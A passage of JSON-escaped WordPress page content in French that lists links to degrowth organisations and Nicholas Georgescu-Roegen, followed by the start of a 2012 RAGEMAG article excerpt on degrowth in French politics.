noire<\/strong>\u00a0:<\/p>\n<p>Le Parti Pour la D\u00e9croissance, c\u2019est\u00a0<a href=\"http:\/\/www.partipourladecroissance.net\/\">ici<\/a>.<\/p>\n<p>Nicholas Georgescu-Roegen, l\u2019un des \u00ab\u00a0papas\u00a0\u00bb de la d\u00e9croissance, c\u2019est<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Nicholas_Georgescu-Roegen\">l\u00e0<\/a>.<\/p>\n<p>Le Mouvement des Objecteurs de Croissance, c\u2019est\u00a0<a href=\"http:\/\/www.les-oc.info\/\">ici<\/a>.<\/p>\n<p>Le collectif Recherche et D\u00e9croissance, c\u2019est\u00a0<a href=\"http:\/\/degrowth.org\/\">l\u00e0<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publi\u00e9 dans RAGEMAG le\u00a0ao\u00fbt 9th, 2012 |\u00a0par Adrien Mideau L\u2019escargot de la d\u00e9croissance a fini par poser durablement sa coquille dans le jardin politique et \u00e9conomique fran\u00e7ais. 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